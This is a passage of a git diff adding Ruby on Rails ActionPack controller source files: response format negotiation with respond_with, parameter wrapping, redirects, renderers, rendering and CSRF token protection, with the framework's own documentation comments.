+ # by previous calls to the controller's class method +respond_to+. Alternatively
+ # the mime-type can be selected by explicitly setting <tt>request.format</tt> in
+ # the controller.
+ #
+ # If an acceptable format is not identified, the application returns a
+ # '406 - not acceptable' status. Otherwise, the default response is to render
+ # a template named after the current action and the selected format,
+ # e.g. <tt>index.html.erb</tt>. If no template is available, the behavior
+ # depends on the selected format:
+ #
+ # * for an html response - if the request method is +get+, an exception
+ # is raised but for other requests such as +post+ the response
+ # depends on whether the resource has any validation errors (i.e.
+ # assuming that an attempt has been made to save the resource,
+ # e.g. by a +create+ action) -
+ # 1. If there are no errors, i.e. the resource
+ # was saved successfully, the response +redirect+'s to the resource
+ # i.e. its +show+ action.
+ # 2. If there are validation errors, the response
+ # renders a default action, which is <tt>:new</tt> for a
+ # +post+ request or <tt>:edit</tt> for +patch+ or +put+.
+ # Thus an example like this -
+ #
+ # respond_to :html, :xml
+ #
+ # def create
+ # @user = User.new(params[:user])
+ # flash[:notice] = 'User was successfully created.' if @user.save
+ # respond_with(@user)
+ # end
+ #
+ # is equivalent, in the absence of <tt>create.html.erb</tt>, to -
+ #
+ # def create
+ # @user = User.new(params[:user])
+ # respond_to do |format|
+ # if @user.save
+ # flash[:notice] = 'User was successfully created.'
+ # format.html { redirect_to(@user) }
+ # format.xml { render xml: @user }
+ # else
+ # format.html { render action: "new" }
+ # format.xml { render xml: @user }
+ # end
+ # end
+ # end
+ #
+ # * for a javascript request - if the template isn't found, an exception is
+ # raised.
+ # * for other requests - i.e. data formats such as xml, json, csv etc, if
+ # the resource passed to +respond_with+ responds to <code>to_<format></code>,
+ # the method attempts to render the resource in the requested format
+ # directly, e.g. for an xml request, the response is equivalent to calling
+ # <code>render xml: resource</code>.
+ #
+ # === Nested resources
+ #
+ # As outlined above, the +resources+ argument passed to +respond_with+
+ # can play two roles. It can be used to generate the redirect url
+ # for successful html requests (e.g. for +create+ actions when
+ # no template exists), while for formats other than html and javascript
+ # it is the object that gets rendered, by being converted directly to the
+ # required format (again assuming no template exists).
+ #
+ # For redirecting successful html requests, +respond_with+ also supports
+ # the use of nested resources, which are supplied in the same way as
+ # in <code>form_for</code> and <code>polymorphic_url</code>. For example -
+ #
+ # def create
+ # @project = Project.find(params[:project_id])
+ # @task = @project.comments.build(params[:task])
+ # flash[:notice] = 'Task was successfully created.' if @task.save
+ # respond_with(@project, @task)
+ # end
+ #
+ # This would cause +respond_with+ to redirect to <code>project_task_url</code>
+ # instead of <code>task_url</code>. For request formats other than html or
+ # javascript, if multiple resources are passed in this way, it is the last
+ # one specified that is rendered.
+ #
+ # === Customizing response behavior
+ #
+ # Like +respond_to+, +respond_with+ may also be called with a block that
+ # can be used to overwrite any of the default responses, e.g. -
+ #
+ # def create
+ # @user = User.new(params[:user])
+ # flash[:notice] = "User was successfully created." if @user.save
+ #
+ # respond_with(@user) do |format|
+ # format.html { render }
+ # end
+ # end
+ #
+ # The argument passed to the block is an ActionController::MimeResponds::Collector
+ # object which stores the responses for the formats defined within the
+ # block. Note that formats with responses defined explicitly in this way
+ # do not have to first be declared using the class method +respond_to+.
+ #
+ # Also, a hash passed to +respond_with+ immediately after the specified
+ # resource(s) is interpreted as a set of options relevant to all
+ # formats. Any option accepted by +render+ can be used, e.g.
+ # respond_with @people, status: 200
+ # However, note that these options are ignored after an unsuccessful attempt
+ # to save a resource, e.g. when automatically rendering <tt>:new</tt>
+ # after a post request.
+ #
+ # Two additional options are relevant specifically to +respond_with+ -
+ # 1. <tt>:location</tt> - overwrites the default redirect location used after
+ # a successful html +post+ request.
+ # 2. <tt>:action</tt> - overwrites the default render action used after an
+ # unsuccessful html +post+ request.
+ def respond_with(*resources, &block)
+ raise "In order to use respond_with, first you need to declare the formats your " \
+ "controller responds to in the class level" if self.class.mimes_for_respond_to.empty?
+
+ if collector = retrieve_collector_from_mimes(&block)
+ options = resources.size == 1 ? {} : resources.extract_options!
+ options[:default_response] = collector.response
+ (options.delete(:responder) || self.class.responder).call(self, resources, options)
+ end
+ end
+
+ protected
+
+ # Collect mimes declared in the class method respond_to valid for the
+ # current action.
+ def collect_mimes_from_class_level #:nodoc:
+ action = action_name.to_s
+
+ self.class.mimes_for_respond_to.keys.select do |mime|
+ config = self.class.mimes_for_respond_to[mime]
+
+ if config[:except]
+ !config[:except].include?(action)
+ elsif config[:only]
+ config[:only].include?(action)
+ else
+ true
+ end
+ end
+ end
+
+ # Returns a Collector object containing the appropriate mime-type response
+ # for the current request, based on the available responses defined by a block.
+ # In typical usage this is the block passed to +respond_with+ or +respond_to+.
+ #
+ # Sends :not_acceptable to the client and returns nil if no suitable format
+ # is available.
+ def retrieve_collector_from_mimes(mimes=nil, &block) #:nodoc:
+ mimes ||= collect_mimes_from_class_level
+ collector = Collector.new(mimes)
+ block.call(collector) if block_given?
+ format = collector.negotiate_format(request)
+
+ if format
+ self.content_type ||= format.to_s
+ lookup_context.formats = [format.to_sym]
+ lookup_context.rendered_format = lookup_context.formats.first
+ collector
+ else
+ raise ActionController::UnknownFormat
+ end
+ end
+
+ # A container for responses available from the current controller for
+ # requests for different mime-types sent to a particular action.
+ #
+ # The public controller methods +respond_with+ and +respond_to+ may be called
+ # with a block that is used to define responses to different mime-types, e.g.
+ # for +respond_to+ :
+ #
+ # respond_to do |format|
+ # format.html
+ # format.xml { render xml: @people }
+ # end
+ #
+ # In this usage, the argument passed to the block (+format+ above) is an
+ # instance of the ActionController::MimeResponds::Collector class. This
+ # object serves as a container in which available responses can be stored by
+ # calling any of the dynamically generated, mime-type-specific methods such
+ # as +html+, +xml+ etc on the Collector. Each response is represented by a
+ # corresponding block if present.
+ #
+ # A subsequent call to #negotiate_format(request) will enable the Collector
+ # to determine which specific mime-type it should respond with for the current
+ # request, with this response then being accessible by calling #response.
+ class Collector
+ include AbstractController::Collector
+ attr_accessor :order, :format
+
+ def initialize(mimes)
+ @order, @responses = [], {}
+ mimes.each { |mime| send(mime) }
+ end
+
+ def any(*args, &block)
+ if args.any?
+ args.each { |type| send(type, &block) }
+ else
+ custom(Mime::ALL, &block)
+ end
+ end
+ alias :all :any
+
+ def custom(mime_type, &block)
+ mime_type = Mime::Type.lookup(mime_type.to_s) unless mime_type.is_a?(Mime::Type)
+ @order << mime_type
+ @responses[mime_type] ||= block
+ end
+
+ def response
+ @responses.fetch(format, @responses[Mime::ALL])
+ end
+
+ def negotiate_format(request)
+ @format = request.negotiate_mime(order)
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/params_wrapper.rb b/actionpack/lib/action_controller/metal/params_wrapper.rb
new file mode 100644
index 0000000..c9f1d8d
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/params_wrapper.rb
@@ -0,0 +1,278 @@
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/module/anonymous'
+require 'active_support/core_ext/struct'
+require 'action_dispatch/http/mime_type'
+
+module ActionController
+ # Wraps the parameters hash into a nested hash. This will allow clients to submit
+ # POST requests without having to specify any root elements.
+ #
+ # This functionality is enabled in +config/initializers/wrap_parameters.rb+
+ # and can be customized. If you are upgrading to \Rails 3.1, this file will
+ # need to be created for the functionality to be enabled.
+ #
+ # You could also turn it on per controller by setting the format array to
+ # a non-empty array:
+ #
+ # class UsersController < ApplicationController
+ # wrap_parameters format: [:json, :xml]
+ # end
+ #
+ # If you enable +ParamsWrapper+ for +:json+ format, instead of having to
+ # send JSON parameters like this:
+ #
+ # {"user": {"name": "Konata"}}
+ #
+ # You can send parameters like this:
+ #
+ # {"name": "Konata"}
+ #
+ # And it will be wrapped into a nested hash with the key name matching the
+ # controller's name. For example, if you're posting to +UsersController+,
+ # your new +params+ hash will look like this:
+ #
+ # {"name" => "Konata", "user" => {"name" => "Konata"}}
+ #
+ # You can also specify the key in which the parameters should be wrapped to,
+ # and also the list of attributes it should wrap by using either +:include+ or
+ # +:exclude+ options like this:
+ #
+ # class UsersController < ApplicationController
+ # wrap_parameters :person, include: [:username, :password]
+ # end
+ #
+ # On ActiveRecord models with no +:include+ or +:exclude+ option set,
+ # it will only wrap the parameters returned by the class method
+ # <tt>attribute_names</tt>.
+ #
+ # If you're going to pass the parameters to an +ActiveModel+ object (such as
+ # <tt>User.new(params[:user])</tt>), you might consider passing the model class to
+ # the method instead. The +ParamsWrapper+ will actually try to determine the
+ # list of attribute names from the model and only wrap those attributes:
+ #
+ # class UsersController < ApplicationController
+ # wrap_parameters Person
+ # end
+ #
+ # You still could pass +:include+ and +:exclude+ to set the list of attributes
+ # you want to wrap.
+ #
+ # By default, if you don't specify the key in which the parameters would be
+ # wrapped to, +ParamsWrapper+ will actually try to determine if there's
+ # a model related to it or not. This controller, for example:
+ #
+ # class Admin::UsersController < ApplicationController
+ # end
+ #
+ # will try to check if <tt>Admin::User</tt> or +User+ model exists, and use it to
+ # determine the wrapper key respectively. If both models don't exist,
+ # it will then fallback to use +user+ as the key.
+ module ParamsWrapper
+ extend ActiveSupport::Concern
+
+ EXCLUDE_PARAMETERS = %w(authenticity_token _method utf8)
+
+ require 'mutex_m'
+
+ class Options < Struct.new(:name, :format, :include, :exclude, :klass, :model) # :nodoc:
+ include Mutex_m
+
+ def self.from_hash(hash)
+ name = hash[:name]
+ format = Array(hash[:format])
+ include = hash[:include] && Array(hash[:include]).collect(&:to_s)
+ exclude = hash[:exclude] && Array(hash[:exclude]).collect(&:to_s)
+ new name, format, include, exclude, nil, nil
+ end
+
+ def initialize(name, format, include, exclude, klass, model) # nodoc
+ super
+ @include_set = include
+ @name_set = name
+ end
+
+ def model
+ super || synchronize { super || self.model = _default_wrap_model }
+ end
+
+ def include
+ return super if @include_set
+
+ m = model
+ synchronize do
+ return super if @include_set
+
+ @include_set = true
+
+ unless super || exclude
+ if m.respond_to?(:attribute_names) && m.attribute_names.any?
+ self.include = m.attribute_names
+ end
+ end
+ end
+ end
+
+ def name
+ return super if @name_set
+
+ m = model
+ synchronize do
+ return super if @name_set
+
+ @name_set = true
+
+ unless super || klass.anonymous?
+ self.name = m ? m.to_s.demodulize.underscore :
+ klass.controller_name.singularize
+ end
+ end
+ end
+
+ private
+ # Determine the wrapper model from the controller's name. By convention,
+ # this could be done by trying to find the defined model that has the
+ # same singularize name as the controller. For example, +UsersController+
+ # will try to find if the +User+ model exists.
+ #
+ # This method also does namespace lookup. Foo::Bar::UsersController will
+ # try to find Foo::Bar::User, Foo::User and finally User.
+ def _default_wrap_model #:nodoc:
+ return nil if klass.anonymous?
+ model_name = klass.name.sub(/Controller$/, '').classify
+
+ begin
+ if model_klass = model_name.safe_constantize
+ model_klass
+ else
+ namespaces = model_name.split("::")
+ namespaces.delete_at(-2)
+ break if namespaces.last == model_name
+ model_name = namespaces.join("::")
+ end
+ end until model_klass
+
+ model_klass
+ end
+ end
+
+ included do
+ class_attribute :_wrapper_options
+ self._wrapper_options = Options.from_hash(format: [])
+ end
+
+ module ClassMethods
+ def _set_wrapper_options(options)
+ self._wrapper_options = Options.from_hash(options)
+ end
+
+ # Sets the name of the wrapper key, or the model which +ParamsWrapper+
+ # would use to determine the attribute names from.
+ #
+ # ==== Examples
+ # wrap_parameters format: :xml
+ # # enables the parameter wrapper for XML format
+ #
+ # wrap_parameters :person
+ # # wraps parameters into +params[:person]+ hash
+ #
+ # wrap_parameters Person
+ # # wraps parameters by determining the wrapper key from Person class
+ # (+person+, in this case) and the list of attribute names
+ #
+ # wrap_parameters include: [:username, :title]
+ # # wraps only +:username+ and +:title+ attributes from parameters.
+ #
+ # wrap_parameters false
+ # # disables parameters wrapping for this controller altogether.
+ #
+ # ==== Options
+ # * <tt>:format</tt> - The list of formats in which the parameters wrapper
+ # will be enabled.
+ # * <tt>:include</tt> - The list of attribute names which parameters wrapper
+ # will wrap into a nested hash.
+ # * <tt>:exclude</tt> - The list of attribute names which parameters wrapper
+ # will exclude from a nested hash.
+ def wrap_parameters(name_or_model_or_options, options = {})
+ model = nil
+
+ case name_or_model_or_options
+ when Hash
+ options = name_or_model_or_options
+ when false
+ options = options.merge(:format => [])
+ when Symbol, String
+ options = options.merge(:name => name_or_model_or_options)
+ else
+ model = name_or_model_or_options
+ end
+
+ opts = Options.from_hash _wrapper_options.to_h.slice(:format).merge(options)
+ opts.model = model
+ opts.klass = self
+
+ self._wrapper_options = opts
+ end
+
+ # Sets the default wrapper key or model which will be used to determine
+ # wrapper key and attribute names. Will be called automatically when the
+ # module is inherited.
+ def inherited(klass)
+ if klass._wrapper_options.format.any?
+ params = klass._wrapper_options.dup
+ params.klass = klass
+ klass._wrapper_options = params
+ end
+ super
+ end
+ end
+
+ # Performs parameters wrapping upon the request. Will be called automatically
+ # by the metal call stack.
+ def process_action(*args)
+ if _wrapper_enabled?
+ wrapped_hash = _wrap_parameters request.request_parameters
+ wrapped_keys = request.request_parameters.keys
+ wrapped_filtered_hash = _wrap_parameters request.filtered_parameters.slice(*wrapped_keys)
+
+ # This will make the wrapped hash accessible from controller and view
+ request.parameters.merge! wrapped_hash
+ request.request_parameters.merge! wrapped_hash
+
+ # This will make the wrapped hash displayed in the log file
+ request.filtered_parameters.merge! wrapped_filtered_hash
+ end
+ super
+ end
+
+ private
+
+ # Returns the wrapper key which will use to stored wrapped parameters.
+ def _wrapper_key
+ _wrapper_options.name
+ end
+
+ # Returns the list of enabled formats.
+ def _wrapper_formats
+ _wrapper_options.format
+ end
+
+ # Returns the list of parameters which will be selected for wrapped.
+ def _wrap_parameters(parameters)
+ value = if include_only = _wrapper_options.include
+ parameters.slice(*include_only)
+ else
+ exclude = _wrapper_options.exclude || []
+ parameters.except(*(exclude + EXCLUDE_PARAMETERS))
+ end
+
+ { _wrapper_key => value }
+ end
+
+ # Checks if we should perform parameters wrapping.
+ def _wrapper_enabled?
+ ref = request.content_mime_type.try(:ref)
+ _wrapper_formats.include?(ref) && _wrapper_key && !request.request_parameters[_wrapper_key]
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/rack_delegation.rb b/actionpack/lib/action_controller/metal/rack_delegation.rb
new file mode 100644
index 0000000..bdf6e88
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/rack_delegation.rb
@@ -0,0 +1,32 @@
+require 'action_dispatch/http/request'
+require 'action_dispatch/http/response'
+
+module ActionController
+ module RackDelegation
+ extend ActiveSupport::Concern
+
+ delegate :headers, :status=, :location=, :content_type=,
+ :status, :location, :content_type, :to => "@_response"
+
+ def dispatch(action, request)
+ set_response!(request)
+ super(action, request)
+ end
+
+ def response_body=(body)
+ response.body = body if response
+ super
+ end
+
+ def reset_session
+ @_request.reset_session
+ end
+
+ private
+
+ def set_response!(request)
+ @_response = ActionDispatch::Response.new
+ @_response.request = request
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/redirecting.rb b/actionpack/lib/action_controller/metal/redirecting.rb
new file mode 100644
index 0000000..e9031f3
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/redirecting.rb
@@ -0,0 +1,104 @@
+module ActionController
+ class RedirectBackError < AbstractController::Error #:nodoc:
+ DEFAULT_MESSAGE = 'No HTTP_REFERER was set in the request to this action, so redirect_to :back could not be called successfully. If this is a test, make sure to specify request.env["HTTP_REFERER"].'
+
+ def initialize(message = nil)
+ super(message || DEFAULT_MESSAGE)
+ end
+ end
+
+ module Redirecting
+ extend ActiveSupport::Concern
+
+ include AbstractController::Logger
+ include ActionController::RackDelegation
+ include ActionController::UrlFor
+
+ # Redirects the browser to the target specified in +options+. This parameter can take one of three forms:
+ #
+ # * <tt>Hash</tt> - The URL will be generated by calling url_for with the +options+.
+ # * <tt>Record</tt> - The URL will be generated by calling url_for with the +options+, which will reference a named URL for that record.
+ # * <tt>String</tt> starting with <tt>protocol://</tt> (like <tt>http://</tt>) or a protocol relative reference (like <tt>//</tt>) - Is passed straight through as the target for redirection.
+ # * <tt>String</tt> not containing a protocol - The current protocol and host is prepended to the string.
+ # * <tt>Proc</tt> - A block that will be executed in the controller's context. Should return any option accepted by +redirect_to+.
+ # * <tt>:back</tt> - Back to the page that issued the request. Useful for forms that are triggered from multiple places.
+ # Short-hand for <tt>redirect_to(request.env["HTTP_REFERER"])</tt>
+ #
+ # redirect_to action: "show", id: 5
+ # redirect_to post
+ # redirect_to "http://www.rubyonrails.org"
+ # redirect_to "/images/screenshot.jpg"
+ # redirect_to articles_url
+ # redirect_to :back
+ # redirect_to proc { edit_post_url(@post) }
+ #
+ # The redirection happens as a "302 Found" header unless otherwise specified.
+ #
+ # redirect_to post_url(@post), status: :found
+ # redirect_to action: 'atom', status: :moved_permanently
+ # redirect_to post_url(@post), status: 301
+ # redirect_to action: 'atom', status: 302
+ #
+ # The status code can either be a standard {HTTP Status code}[http://www.iana.org/assignments/http-status-codes] as an
+ # integer, or a symbol representing the downcased, underscored and symbolized description.
+ # Note that the status code must be a 3xx HTTP code, or redirection will not occur.
+ #
+ # If you are using XHR requests other than GET or POST and redirecting after the
+ # request then some browsers will follow the redirect using the original request
+ # method. This may lead to undesirable behavior such as a double DELETE. To work
+ # around this you can return a <tt>303 See Other</tt> status code which will be
+ # followed using a GET request.
+ #
+ # redirect_to posts_url, status: :see_other
+ # redirect_to action: 'index', status: 303
+ #
+ # It is also possible to assign a flash message as part of the redirection. There are two special accessors for the commonly used flash names
+ # +alert+ and +notice+ as well as a general purpose +flash+ bucket.
+ #
+ # redirect_to post_url(@post), alert: "Watch it, mister!"
+ # redirect_to post_url(@post), status: :found, notice: "Pay attention to the road"
+ # redirect_to post_url(@post), status: 301, flash: { updated_post_id: @post.id }
+ # redirect_to { action: 'atom' }, alert: "Something serious happened"
+ #
+ # When using <tt>redirect_to :back</tt>, if there is no referrer, ActionController::RedirectBackError will be raised. You may specify some fallback
+ # behavior for this case by rescuing ActionController::RedirectBackError.
+ def redirect_to(options = {}, response_status = {}) #:doc:
+ raise ActionControllerError.new("Cannot redirect to nil!") unless options
+ raise AbstractController::DoubleRenderError if response_body
+
+ self.status = _extract_redirect_to_status(options, response_status)
+ self.location = _compute_redirect_to_location(options)
+ self.response_body = "<html><body>You are being <a href=\"#{ERB::Util.h(location)}\">redirected</a>.</body></html>"
+ end
+
+ private
+ def _extract_redirect_to_status(options, response_status)
+ if options.is_a?(Hash) && options.key?(:status)
+ Rack::Utils.status_code(options.delete(:status))
+ elsif response_status.key?(:status)
+ Rack::Utils.status_code(response_status[:status])
+ else
+ 302
+ end
+ end
+
+ def _compute_redirect_to_location(options)
+ case options
+ # The scheme name consist of a letter followed by any combination of
+ # letters, digits, and the plus ("+"), period ("."), or hyphen ("-")
+ # characters; and is terminated by a colon (":").
+ # The protocol relative scheme starts with a double slash "//"
+ when %r{\A(\w[\w+.-]*:|//).*}
+ options
+ when String
+ request.protocol + request.host_with_port + options
+ when :back
+ request.headers["Referer"] or raise RedirectBackError
+ when Proc
+ _compute_redirect_to_location options.call
+ else
+ url_for(options)
+ end.delete("\0\r\n")
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/renderers.rb b/actionpack/lib/action_controller/metal/renderers.rb
new file mode 100644
index 0000000..5272dc6
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/renderers.rb
@@ -0,0 +1,111 @@
+require 'set'
+
+module ActionController
+ # See <tt>Renderers.add</tt>
+ def self.add_renderer(key, &block)
+ Renderers.add(key, &block)
+ end
+
+ module Renderers
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :_renderers
+ self._renderers = Set.new.freeze
+ end
+
+ module ClassMethods
+ def use_renderers(*args)
+ renderers = _renderers + args
+ self._renderers = renderers.freeze
+ end
+ alias use_renderer use_renderers
+ end
+
+ def render_to_body(options)
+ _handle_render_options(options) || super
+ end
+
+ def _handle_render_options(options)
+ _renderers.each do |name|
+ if options.key?(name)
+ _process_options(options)
+ return send("_render_option_#{name}", options.delete(name), options)
+ end
+ end
+ nil
+ end
+
+ # Hash of available renderers, mapping a renderer name to its proc.
+ # Default keys are :json, :js, :xml.
+ RENDERERS = Set.new
+
+ # Adds a new renderer to call within controller actions.
+ # A renderer is invoked by passing its name as an option to
+ # <tt>AbstractController::Rendering#render</tt>. To create a renderer
+ # pass it a name and a block. The block takes two arguments, the first
+ # is the value paired with its key and the second is the remaining
+ # hash of options passed to +render+.
+ #
+ # Create a csv renderer:
+ #
+ # ActionController::Renderers.add :csv do |obj, options|
+ # filename = options[:filename] || 'data'
+ # str = obj.respond_to?(:to_csv) ? obj.to_csv : obj.to_s
+ # send_data str, type: Mime::CSV,
+ # disposition: "attachment; filename=#{filename}.csv"
+ # end
+ #
+ # Note that we used Mime::CSV for the csv mime type as it comes with Rails.
+ # For a custom renderer, you'll need to register a mime type with
+ # <tt>Mime::Type.register</tt>.
+ #
+ # To use the csv renderer in a controller action:
+ #
+ # def show
+ # @csvable = Csvable.find(params[:id])
+ # respond_to do |format|
+ # format.html
+ # format.csv { render csv: @csvable, filename: @csvable.name }
+ # }
+ # end
+ # To use renderers and their mime types in more concise ways, see
+ # <tt>ActionController::MimeResponds::ClassMethods.respond_to</tt> and
+ # <tt>ActionController::MimeResponds#respond_with</tt>
+ def self.add(key, &block)
+ define_method("_render_option_#{key}", &block)
+ RENDERERS << key.to_sym
+ end
+
+ module All
+ extend ActiveSupport::Concern
+ include Renderers
+
+ included do
+ self._renderers = RENDERERS
+ end
+ end
+
+ add :json do |json, options|
+ json = json.to_json(options) unless json.kind_of?(String)
+
+ if options[:callback].present?
+ self.content_type ||= Mime::JS
+ "#{options[:callback]}(#{json})"
+ else
+ self.content_type ||= Mime::JSON
+ json
+ end
+ end
+
+ add :js do |js, options|
+ self.content_type ||= Mime::JS
+ js.respond_to?(:to_js) ? js.to_js(options) : js
+ end
+
+ add :xml do |xml, options|
+ self.content_type ||= Mime::XML
+ xml.respond_to?(:to_xml) ? xml.to_xml(options) : xml
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/rendering.rb b/actionpack/lib/action_controller/metal/rendering.rb
new file mode 100644
index 0000000..bea6b88
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/rendering.rb
@@ -0,0 +1,73 @@
+module ActionController
+ module Rendering
+ extend ActiveSupport::Concern
+
+ include AbstractController::Rendering
+
+ # Before processing, set the request formats in current controller formats.
+ def process_action(*) #:nodoc:
+ self.formats = request.formats.map(&:ref).compact
+ super
+ end
+
+ # Check for double render errors and set the content_type after rendering.
+ def render(*args) #:nodoc:
+ raise ::AbstractController::DoubleRenderError if response_body
+ super
+ self.content_type ||= Mime[lookup_context.rendered_format].to_s
+ response_body
+ end
+
+ # Overwrite render_to_string because body can now be set to a rack body.
+ def render_to_string(*)
+ if self.response_body = super
+ string = ""
+ response_body.each { |r| string << r }
+ string
+ end
+ ensure
+ self.response_body = nil
+ end
+
+ def render_to_body(*)
+ super || " "
+ end
+
+ private
+
+ # Normalize arguments by catching blocks and setting them on :update.
+ def _normalize_args(action=nil, options={}, &blk) #:nodoc:
+ options = super
+ options[:update] = blk if block_given?
+ options
+ end
+
+ # Normalize both text and status options.
+ def _normalize_options(options) #:nodoc:
+ if options.key?(:text) && options[:text].respond_to?(:to_text)
+ options[:text] = options[:text].to_text
+ end
+
+ if options.delete(:nothing) || (options.key?(:text) && options[:text].nil?)
+ options[:text] = " "
+ end
+
+ if options[:status]
+ options[:status] = Rack::Utils.status_code(options[:status])
+ end
+
+ super
+ end
+
+ # Process controller specific options, as status, content-type and location.
+ def _process_options(options) #:nodoc:
+ status, content_type, location = options.values_at(:status, :content_type, :location)
+
+ self.status = status if status
+ self.content_type = content_type if content_type
+ self.headers["Location"] = url_for(location) if location
+
+ super
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/request_forgery_protection.rb b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
new file mode 100644
index 0000000..d275a85
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -0,0 +1,206 @@
+require 'rack/session/abstract/id'
+require 'action_controller/metal/exceptions'
+
+module ActionController #:nodoc:
+ class InvalidAuthenticityToken < ActionControllerError #:nodoc:
+ end
+
+ # Controller actions are protected from Cross-Site Request Forgery (CSRF) attacks
+ # by including a token in the rendered html for your application. This token is
+ # stored as a random string in the session, to which an attacker does not have
+ # access. When a request reaches your application, \Rails verifies the received
+ # token with the token in the session. Only HTML and JavaScript requests are checked,
+ # so this will not protect your XML API (presumably you'll have a different
+ # authentication scheme there anyway). Also, GET requests are not protected as these
+ # should be idempotent.
+ #
+ # It's important to remember that XML or JSON requests are also affected and if
+ # you're building an API you'll need something like:
+ #
+ # class ApplicationController < ActionController::Base
+ # protect_from_forgery
+ # skip_before_action :verify_authenticity_token, if: :json_request?
+ #
+ # protected
+ #
+ # def json_request?
+ # request.format.json?
+ # end
+ # end
+ #
+ # CSRF protection is turned on with the <tt>protect_from_forgery</tt> method,
+ # which checks the token and resets the session if it doesn't match what was expected.
+ # A call to this method is generated for new \Rails applications by default.
+ #
+ # The token parameter is named <tt>authenticity_token</tt> by default. The name and
+ # value of this token must be added to every layout that renders forms by including
+ # <tt>csrf_meta_tags</tt> in the html +head+.
+ #
+ # Learn more about CSRF attacks and securing your application in the
+ # {Ruby on Rails Security Guide}[http://guides.rubyonrails.org/security.html].
+ module RequestForgeryProtection
+ extend ActiveSupport::Concern
+
+ include AbstractController::Helpers
+ include AbstractController::Callbacks
+
+ included do
+ # Sets the token parameter name for RequestForgery. Calling +protect_from_forgery+
+ # sets it to <tt>:authenticity_token</tt> by default.
+ config_accessor :request_forgery_protection_token
+ self.request_forgery_protection_token ||= :authenticity_token
+
+ # Holds the class which implements the request forgery protection.
+ config_accessor :forgery_protection_strategy
+ self.forgery_protection_strategy = nil
+
+ # Controls whether request forgery protection is turned on or not. Turned off by default only in test mode.
+ config_accessor :allow_forgery_protection
+ self.allow_forgery_protection = true if allow_forgery_protection.nil?
+
+ helper_method :form_authenticity_token
+ helper_method :protect_against_forgery?
+ end
+
+ module ClassMethods
+ # Turn on request forgery protection. Bear in mind that only non-GET, HTML/JavaScript requests are checked.
+ #
+ # class FooController < ApplicationController
+ # protect_from_forgery except: :index
+ #
+ # You can disable csrf protection on controller-by-controller basis:
+ #
+ # skip_before_action :verify_authenticity_token
+ #
+ # It can also be disabled for specific controller actions:
+ #
+ # skip_before_action :verify_authenticity_token, except: [:create]
+ #
+ # Valid Options:
+ #
+ # * <tt>:only/:except</tt> - Passed to the <tt>before_action</tt> call. Set which actions are verified.
+ # * <tt>:with</tt> - Set the method to handle unverified request.
+ #
+ # Valid unverified request handling methods are:
+ # * <tt>:exception</tt> - Raises ActionController::InvalidAuthenticityToken exception.
+ # * <tt>:reset_session</tt> - Resets the session.
+ # * <tt>:null_session</tt> - Provides an empty session during request but doesn't reset it completely. Used as default if <tt>:with</tt> option is not specified.
+ def protect_from_forgery(options = {})
+ self.forgery_protection_strategy = protection_method_class(options[:with] || :null_session)
+ self.request_forgery_protection_token ||= :authenticity_token
+ prepend_before_action :verify_authenticity_token, options
+ end
+
+ private
+
+ def protection_method_class(name)
+ ActionController::RequestForgeryProtection::ProtectionMethods.const_get(name.to_s.classify)
+ rescue NameError
+ raise ArgumentError, 'Invalid request forgery protection method, use :null_session, :exception, or :reset_session'
+ end
+ end
+
+ module ProtectionMethods
+ class NullSession
+ def initialize(controller)
+ @controller = controller
+ end
+
+ # This is the method that defines the application behavior when a request is found to be unverified.
+ def handle_unverified_request
+ request = @controller.request
+ request.session = NullSessionHash.new(request.env)
+ request.env['action_dispatch.request.flash_hash'] = nil
+ request.env['rack.session.options'] = { skip: true }
+ request.env['action_dispatch.cookies'] = NullCookieJar.build(request)
+ end
+
+ protected
+
+ class NullSessionHash < Rack::Session::Abstract::SessionHash #:nodoc:
+ def initialize(env)
+ super(nil, env)
+ @data = {}
+ @loaded = true
+ end
+
+ def exists?
+ true
+ end
+ end
+
+ class NullCookieJar < ActionDispatch::Cookies::CookieJar #:nodoc:
+ def self.build(request)
+ key_generator = request.env[ActionDispatch::Cookies::GENERATOR_KEY]
+ host = request.host
+ secure = request.ssl?
+
+ new(key_generator, host, secure, options_for_env({}))
+ end
+
+ def write(*)
+ # nothing
+ end
+ end
+ end
+
+ class ResetSession
+ def initialize(controller)
+ @controller = controller
+ end
+
+ def handle_unverified_request
+ @controller.reset_session
+ end
+ end
+
+ class Exception
+ def initialize(controller)
+ @controller = controller
+ end
+
+ def handle_unverified_request
+ raise ActionController::InvalidAuthenticityToken
+ end
+ end
+ end
+
+ protected
+ def handle_unverified_request
+ forgery_protection_strategy.new(self).handle_unverified_request
+ end
+
+ # The actual before_action that is used. Modify this to change how you handle unverified requests.
+ def verify_authenticity_token
+ unless verified_request?
+ logger.warn "Can't verify CSRF token authenticity" if logger
+ handle_unverified_request
+ end
+ end
+
+ # Returns true or false if a request is verified. Checks:
+ #
+ # * is it a GET or HEAD request? Gets should be safe and idempotent
+ # * Does the form_authenticity_token match the given token value from the params?
+ # * Does the X-CSRF-Token header match the form_authenticity_token
+ def verified_request?
+ !protect_against_forgery? || request.get? || request.head? ||
+ form_authenticity_token == params[request_forgery_protection_token] ||
+ form_authenticity_token == request.headers['X-CSRF-Token']
+ end
+
+ # Sets the token value for the current session.
+ def form_authenticity_token
+ session[:_csrf_token] ||= SecureRandom.base64(32)
+ end
+
+ # The form's authenticity parameter. Override to provide your own.
+ def form_authenticity_param
+ params[request_forgery_protection_token]
+ end
+
+ def protect_against_forgery?
+ allow_forgery_protection
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/rescue.rb b/actionpack/lib/action_controller/metal/rescue.rb
new file mode 100644
index 0000000..68cc9a9
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/rescue.rb
@@ -0,0 +1,35 @@
+module ActionController #:nodoc:
